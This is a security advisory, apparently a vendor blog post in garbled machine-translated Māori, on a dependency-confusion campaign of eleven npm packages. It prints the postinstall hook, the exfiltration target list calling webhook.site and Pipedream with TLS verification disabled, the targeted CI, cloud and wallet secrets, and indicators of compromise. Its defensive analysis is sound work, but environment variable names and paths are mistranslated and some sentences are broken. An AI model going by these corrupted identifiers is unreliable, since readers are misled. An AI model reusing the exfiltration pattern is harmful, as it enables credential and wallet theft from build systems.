Te Pōhēhētanga CryptoDAO: Te Kohikohi i ngā Mōkihi npm CI/CD me ngā Mea Ngaro Crypto

Te Pōhēhētanga CryptoDAO: tekau mā tahi ngā mōkihi npm, kotahi te kawenga, te hauhake CI/CD me ngā mea ngaro o te putea matihiko

TL; DR

I te 2026-06-17, i whakaputaina he pūkete npm kotahi tekau mā tahi ngā mōkihi e whai wāhi tahi ana ki te kaupapa kotahi, me te kawenga kotahiTekau o rātou e kawe ana i te cryptodao- kupumatua (cryptodao-core, -sdk, -bot, -config, -backend, -signer, -utils, -deploy, -contracts, -types); ko te tekau mā tahi te mea kua whāwhāhia @public-for-cdao/coreI whakaputaina ia mea i te putanga 99.99.99 ā, ka tukuna he paita ōrite recon.js e rere ana i runga i postinstall.

Ko ngā ingoa te tohu. He rite ki ngā poraka hanga ā-roto o te mekameka taputapu tūmataiti o tētahi kaupapa crypto/DAO. I whakaputaina ki te rēhita npm tūmatanui i tētahi putanga teitei hangai, ka noho tatari rātou mō tētahi hanganga. pipeline kua whirihorahia hei whakatau i aua ingoa, ā, ka tae atu ki te npm tūmatanui i mua atu — i mua atu rānei — i te rēhita tūmataiti. Koinei te pōhēhētanga o te whakawhirinakitanga, ā, ka whakaritea te utauta kia tika ai te wāhi e tumanakohia ana kia tau: CI/CD kaituku.

A, no te postinstall ngā ahi, recon.js ka kohia ngā taipitopito o te kaihautū, ka tahia te mata e whā tekau ngā taurangi taiao kapua, CI, me te putea crypto, ka pānui i tētahi .env ngā kōnae ka taea e ia te kimi me te tuku i ngā rārangi huna-kupu tonu, kātahi ka tuku i te paihere ki ngā kaikohi e rua — webhook.site me te pito Pipedream — me te whakakorenga o te manatoko tiwhikete TLS. Kua tuhia hoki he tārua ki raro i te /tmp.

Taumaha: Tino HāngaiTe pūnaha rauropi e pāngia ana: npmI te wā i tuhia ai tēnei, kei te ora tonu ngā mōkihi tekau mā tahi.

Anatomi whakaeke

E whā ngā wāhanga neke o te tikanga, ā, kāore tetahi o aua wāhanga e ngaro ina mōhio koe ki te tirohia tētahi paparanga ki tua atu i te ingoa o te mōkihi.

1. Putanga pupuhi hei maminga whakatau. Ka whakapuakina e ia mōkihi te putanga 99.99.99Ka mahi te whakapoauautanga whakawhirinakitanga ina tono te kaiwhakahaere mōkihi mō tētahi ingoa ā-roto, ka tirohia hoki te rēhita tūmatanui, ā, ka tīpako i te putanga teitei rawa atu kitea. Ko te kōwhiringa taunoa a npm mō te whānuitanga o te caret, te wildcard rānei ko te putanga tino makona puta noa i ngā pūtake whirihora katoa; mēnā he tūmataiti e rua rēhita me te whakautu npm tūmatanui mō te ingoa kotahi, ko te tau putanga nui ake ka toa. A 99.99.99 he pai ake i te nuinga o ngā putanga ā-roto tūturu o tētahi kaupapa kua tae atu, nō reira ko te kaiwhakatau kāore i te piri ki te pūtake tūmataiti e pai ake ana ki te tūmatanui — ā, i tēnei wā, he tārua kino. Kāore e hiahiatia ana e te kaiwhakahaere te mōhio ki te ngā tau putanga tūturu o te ūnga; mā te whiriwhiri i tētahi mōrahi kuware ka taurite tonu ka pakaru i tō rātou ara.

2. He whakaoho i muri i te tāutanga. mōkihi.json ka honoa te kawenga ki te tāutanga huringa ora:

{   "scripts": { "postinstall": "node recon.js" } }

Kāore e hiahiatia he kawemai i te mōkihi. Me tāuta noa iho — he CI tēnei pipeline ka mahi aunoa — ka oma recon.js.

3. He whānui te huna. recon.js ka huihui i tētahi huinga hua i roto i ngā wāhanga:

  • Horopaki manaaki: ingoa manaaki, tūāpapa me te tukunga, hoahoanga, ingoa kaiwhakamahi, mahi whaiaronga.
  • Ngā taurangi taiao: ka tāruatia he rārangi pumau o te whā tekau ngā ingoa me ngā tuhinga tetahi mea kua whakatakotoria. He mea whakamiharo te rārangi — ka honoa ngā tohu CI whānui (CI_JOB_TOKEN, Kupuhipa_Rēhita_CI, GITLAB_ACCESS_TOKEN) me te kapua tohu tohu (AWS_ACCESS_KEY_ID, AWS_SECRET_ACCESS_KEY, AWS_SESSION_TOKEN) me ngā mea ngaro o te rēhita me te ipu (NPM_TOKEN, Kupuhipa_DOCKER, KUPAPA_WARBOR) me tētahi rōpū kakara-pūrākau motuhake:  KĪ_TŪMATAITI, MNEMONIC, KŌRERO_KAKANO, Kī_API_INFURA, Kī_API_ARCHEMY, ETH_RPC, BSC_RPC. Ka tapahia ngā uara kua tuhia ki ngā pūāhua tuatahi e 50.
  • Tuhinga .env ngā kōnae: ka tirotirohia he rārangi o ngā ara — Tuhinga .env, ../.env, /taupānga/.env, /taupānga/muri/.env, /taupānga/pūta/.env, /kāinga/gitlab-runner/.env, /pūtake/.env, me te .whakaputa/.whanaketanga ngā momo rerekē — ā, mō ngā kōnae katoa e wātea ana, ka ka tātari i ngā ihirangi kia rite ki ngā rārangi KĪ|NGĀRO|TOKEN|PASS|PRIVATE|MNEMONIC ā, ka panaia aua rārangi **katoa, kāore i tapahia** ki roto i ngā hua.
  • Horopaki hanga-kaihautū: e whakarārangi ana i ngā tāurunga tuatahi e 20 o /hanga/, /kāinga/kaiwhakahaere-gitlab/hanga/, /var/lib/gitlab-runner/, a /tmp/.

Ka paunatia te rārangi ara me te rārangi taurangi ki ngā kaihaerenga GitLab, e tohu ana te kawenga i te hanganga CI whaiaro-haumaru, kaua ki te kaiwhakawhanake pona. Mā te whakarōpū i te rārangi kotinga mā te kāwai ka māmā ake te haonga e hiahiatia ana:

kāwai Ngā taurangi / ngā ara kua tae atu
CI/CD tuakiri me te whakatinana CI_JOB_TOKEN, CI_REGISTRY_USER/PASSWORD, CI_DEPLOY_USER/PASSWORD, GITLAB_ACCESS_TOKEN, GITLAB_API_TOKEN, SSH_PRIVATE_KEY, DEPLOY_KEY
kapua AWS_ACCESS_KEY_ID, AWS_SECRET_ACCESS_KEY, AWS_SESSION_TOKEN
Rēhita me te ipu NPM_TOKEN, NPM_AUTH_TOKEN, DOCKER_USER/PASSWORD, HARBOR_HOST/USER/PASSWORD
Ngā toa raraunga DATABASE_URL, DB_HOST, DB_PASSWORD, REDIS_URL, REDIS_PASSWORD
Moni matihiko / poraka mekameka PRIVATE_KEY, MNEMONIC, SEED_PHRASE, INFURA_API_KEY, ALCHEMY_API_KEY, RPC_URL, ETH_RPC, BSC_RPC
Karere SLACK_TOKEN, DISCORD_TOKEN
I runga i te kōpae .env whānau + /home/gitlab-runner/.env, /root/.env, /app/**/.env; ngā rārangi whaiaronga o /builds/, /var/lib/gitlab-runner/

Ko te rōpū crypto te wāhanga e wehewehe ana i tēnei mai i te CI-huna whānui ruru: ka puta noa ngā kīanga purapura pēke me ngā kī hainatanga i roto i te taiao o tētahi kaupapa poraka mekameka, ā, ka hono tika rātou ki te cryptodao-/tohu/kirimana te whakaingoa i ngā kaikawe.

4. Tāruarua te tango i te wai me te whakakorenga manatoko. Ko te rarangi i kohia ko kua raupapahia, kua TUKUhia ki ngā ūnga e rua:

const targets = [   { host: 'webhook.site', path: '/d6d18927-e513-4df7-b019-58bfc64fe0dd', method: 'POST' },   { host: 'enqoojbegdvxj.x.pipedream.net', path: '/', method: 'POST' }, ]; // ... https.request({ ..., rejectUnauthorized: false, timeout: 5000 })

whakakorekoreWhakaaetia: teka whakaweto i ngā tirotiro tiwhikete TLS mō te putanga atu ngā waeatanga. Ka tāia ngā raraunga ōrite ki te stdout (nō reira ka tau hoki ki ngā rangitaki mahi CI) ā, i tuhia ki /tmp/.npm_recon_ .json. Ka horomia pukutia ngā hapa, nō reira he mēnā ka rahua te tukunga, kāore he tohu e toe ana i roto i te putanga tāutanga, neke atu i te kotahi [tirotiro] tāuta ki runga raina.

E whakaahua ana tētahi kōrero matua i roto i te kōnae he "Pōhēhētanga Whakawhirinakitanga" "Utu Tirotiro." Kua tapahia ngā uara taiao ki te 50 ngā pūāhua. te āhua o tētahi taunakitanga ariā. Ko te mea e neke atu ana i tua atu i tētahi tohu aroaro-anake ko te Tuhinga .env te whakahaere: ka tukuna katoatia ngā rārangi huna-pūmau, ā, ko ngā ūnga e rua ngā kaikohi e mahi ana, e whakahaerehia ana e te kaiwhakaeke, kaua ko te totohu e tatau ana anake pao

Rārangi Wā

Ko te tauira whakaputa he waitohu o tētahi pana kotahi kua tuhia, ehara i te tekau mā tahi ngā tukuake motuhake.

Wā (UTC, 2026-06-17) takahanga
03:24:58 cryptodao-bot@99.99.99 whakaputaina
03:25:01 cryptodao-signer@99.99.99
03:25:04 cryptodao-deploy@99.99.99
03:25:08 cryptodao-backend@99.99.99
03:25:11 cryptodao-contracts@99.99.99
03:25:14 cryptodao-sdk@99.99.99
03:25:18 cryptodao-utils@99.99.99
03:25:21 cryptodao-core@99.99.99
03:25:24 cryptodao-types@99.99.99
03:25:27 cryptodao-config@99.99.99
03:49:59 @public-for-cdao/core@99.99.99 — momo kua tirohia, ~24 meneti i muri mai

Tekau ngā mōkihi i tukuna i roto i te matapihi 29-hēkona te roa, tata ki te kotahi i ia toru hēkona. Te whānuitanga @public-for-cdao/matua i whai mai i te 24 meneti i muri mai — he hēkona te tikanga whakaingoa mō te ūnga kotahi, mēnā ka tohutoro te kaupapa kai ki te mekameka taputapu ā-roto i raro i te whānuitanga kaua ki ngā ingoa tahanga.

Ngā tohu o te whakaae tahi

momo tohu
Kohikohi hxxps://webhook[.]site/d6d18927-e513-4df7-b019-58bfc64fe0dd
Kohikohi hxxps://enqoojbegdvxj[.]x[.]pipedream[.]net/
Tāutahia te matau postinstall: node recon.js
Kōnae kua taka /tmp/.npm_recon_<timestamp>.json
Tohu rangitaki [recon] <pkg>@<ver> installed on <hostname> (stdout i roto i ngā rangitaki CI)
Haehau rejectUnauthorized: false i runga i te HTTPS putaatu i te wā tāutanga
Ko nga utunga recon.js, he ōrite puta noa i ngā mōkihi tekau mā tahi (kotahi te hanganga tiritahi)
putanga 99.99.99 i runga i ia mōkihi
Kete cryptodao-core, cryptodao-sdk, cryptodao-bot, cryptodao-config, cryptodao-backend, cryptodao-signer, cryptodao-utils, cryptodao-deploy, cryptodao-contracts, cryptodao-types, @public-for-cdao/core (katoa 99.99.99)
kaiwhakaputa aduljune / aduljune@proton.me (kāore anō kia manatokohia te īmēra, kāore he putunga pūtake hono)

 Te tohu me te whanonga i kitea

Ko ngā mea katoa mō te rōpū e tohu ana ki tētahi ringa. I whakaputaina katoatia ngā kete tekau mā tahi. nā te pūkete npm pakeke (aduljune@proton.me, he wāhitau kāore anō kia manatokohia, kāore he putunga pūtake hono), i roto i te wā 25-meneti, i te wā kotahi 99.99.99 putanga, te tuku i tētahi recon.js he ōrite ngā ihirangi o ia paita-mō-ia-paita mōkihi (he ōrite te MD5 puta noa i ngā tārua tekau mā tahi katoa i tangohia). Kotahi te kawenga kua tāia ki runga i tētahi rārangi ingoa, ehara i te whakamahi anō i te waehere motuhake.

Mā te rārangi ingoa e tautuhi te ūnga e hiahiatia ana. cryptodao-* a cdao whakaahuahia te te tahora o te kōwae tūmataiti o tētahi kaupapa crypto/DAO, me te rārangi hauhake o te kawenga ngā whakaata e matapae ana: i te taha o ngā mea ngaro CI me te kapua whānui, he mea motuhake ka toro atu ki KĪ_TŪMATAITI, MNEMONIC, KŌRERO_KAKANO, me Ethereum/BSC RPC me ngā kī kaiwhakarato. Ko te Tuhinga .env Ko ngā ara rapu me ngā rārangi whaiaronga he GitLab-runner motuhake. Ko te pānga ka kitea ko tetahi pipeline i tinihangatia kia tāutahia ēnei ka tukuna e ngā ingoa āna tohu CI, āna kī kapua, me āna mea kei runga i te kōpae Tuhinga .env ngā mea ngaro — ā, mō he kaupapa poraka mekameka, ko āna rauemi pēke moni — ki ngā kaikohi tuatoru e rua.

Kāore mātou e kereme mō te hunga whakahaere i te pūkete, mō tā rātou rānei i whakamahere ki te mahi ki te raraunga. Ngā meka e tū motuhake ana: e aro ana ngā ingoa ki tētahi momo motuhake o mekameka taputapu ā-roto, ka pānuihia e te kawenga me te tuku i ngā uara ngaro tūturu, me te i ora ngā hanganga.

Pānga, au, me te aratohu a te kaiwawao

Te pōhēhētanga o te whakawhirinakitanga kei te whai hua tonu nā te mea ka whakamahia te whanonga whakatau, ehara i te ngoikore i roto i tētahi mōkihi. He māmā noa iho te kaikawe i konei — tekau mā tahi tata kore kau ngā mōkihi — engari ko te radius pahūtanga he aha noa iho pipeline he pai kē ki te npm tūmatanui mō tētahi ingoa ā-roto. Ko ngā kaiwhakahaere CI te wāhi kino rawa atu mō tēnā: e pupuri ana rātou ngā tohu tika me Tuhinga .env ngā kōnae ka pānuihia e tēnei utauta, ā, ka tāutahia e rātou ngā whakawhirinakitanga kāore e taunekeneke ana, nō reira he i muri i te tāutanga ka oma me te kore he tangata e mātakitaki ana.

Ka uru hoki tēnei rōpū ki tētahi tauira e kitea tonutia ana e tātou: ngā kawenga wā tāuta e whakaatu ana hei "rangahau" "tirotiro" rānei i a koe e mahi ana i te kohikohinga tohu tūturu. Ko te tapanga i roto i te kōnae kāore e whakarerekē i tā te waehere e mahi ana i runga i te kaiwhakahaere. E rua ngā kōwhiringa hoahoa ka mau tonu te ata noho o te mahi: ka takaihia ngā mahi whatunga me ngā mahi pūnaha kōnae katoa ki roto i tētahi kaiwhakahaere hapa e whakakore ana i ngā hapa, nō reira he tuku kua aukatia, he kōnae ngaro rānei kāore he putanga tātaritanga e puta, ā, ko te mea anake i tāia he mea kotahi kāore he kino [tirotiro] … kua tāutahia raina e hono ana ki te haruru tāutanga noa. Ko te whakamahinga o paetukutuku.webhook ā, he mea whai hua anō hoki a Pipedream — he kore utu ngā mea e rua, whakarato tonu i ngā ratonga hopu tono, kia kore ai e hiahiatia e te kaiwhakahaere ngā tūmau o ā rātou ake, ā, he rite ngā ūnga ki ngā ingoa kaihautū SaaS noa i roto i ngā rangitaki putanga.

Ko ngā āhuatanga ōhanga te mea e tika ana kia arohia tēnei e te kaiwawao ahakoa te He māmā noa te waehere kaikawe. Kāore he utu mō te rēhita i ngā ingoa tekau mā tahi, kotahi te kawenga Tekau mā tahi ngā tāruatanga o te kōnae, ā, mā te kaiwhakahaere mōkihi e mahi ngā mahi katoa. Kotahi te mahi. whirihora hē pipeline i ngā wāhi katoa e pau ana i tētahi o ēnei ingoa ka utua te katoa mahi.

Ngā mahi pūmau mō ngā kaiwawao:

  • Tāpirihia ngā whānuitanga o roto ki tō rēhita tūmataiti. Whirihorahia te npm kia whai ingoa ā-roto
     ā, ka whakatauhia ngā whānuitanga ki tō rēhita anake (ngā mahere rēhita .npmrc kua whānuitangahia,
    (kāore rānei he māngai e taka ki te npm tūmatanui mō ngā mokowā ingoa rangatira). Rāhuihia ō ingoa whānuitanga tūmatanui kia kore ai e taea e tētahi atu te rēhita.
  • Commit lockfiles ka tāuta me te –ignore-scripts i roto i te CI mēnā ka taea, tirohia te huinga iti o ngā whakawhirinakitanga e tino hiahia ana kia tāutahia ngā hōtuhi.  Kāore e taea e te recon.js te whakahaere mēnā i muri i te tāutanga kāore e whakatinanatia.
  • Me whakamahi i tētahi putanga 99.99.99 (tētahi atu putanga tino teitei rānei) o tētahi ingoa āhua-roto hei haki whero i roto i te arotake whakawhirinakitanga me te aroturukitanga rēhita.
  • Whakatūpato mō te putanga mai i te wā tāutanga. A i muri i te tāutanga e whakatuwhera ana i tētahi HTTPS puta atu hononga — ina koa kua monoa te manatoko tiwhikete — ki He mea tika kia āraia ngā ratonga hopu-tono pērā i te webhook.site, Pipedream, me ērā atu ratonga hopu-tono i te taha whatunga me te tohu i roto i ngā rangitaki hanga.
  • Te whaiwhai i ngā taonga tuku iho. Tirohia ngā kaiwhai mō /tmp/.npm_recon_*.json a mo te [tirotiro] … kua tāutahia ki … te tohu i roto i ngā rangitaki CI hou. Mena ka kitea, hurihia ia tohu whaimana i whakakitea ki taua pipeline — Ngā tohu CI, ngā kī kapua, ngā tohu rēhita, me ngā purapura pēke moni, ngā kī tūmataiti rānei kei roto i te taiao, i ngā kōnae .env rānei.

Tohutoro

Kāore he pūrongo ā-waho mō tēnei rōpū i te wā i tuhia ai tēnei; ko te tātaritanga i runga ake nei i ngā ihirangi o te kete kua whakaputaina

ngā taputapu-pūmanawa-sca-tātari-hanganga-pūmanawa
Whakaritea ngā āhuatanga matua, whakatikahia, me te tiaki i ngā mōrearea o ō pūmanawa
Tikina tō Pūkete Koreutu.
Kāore he kāri nama e hiahiatia.

Whakapūmau i tō Whakawhanaketanga me te Tukunga Pūmanawa

me te Huinga Hua Xygeni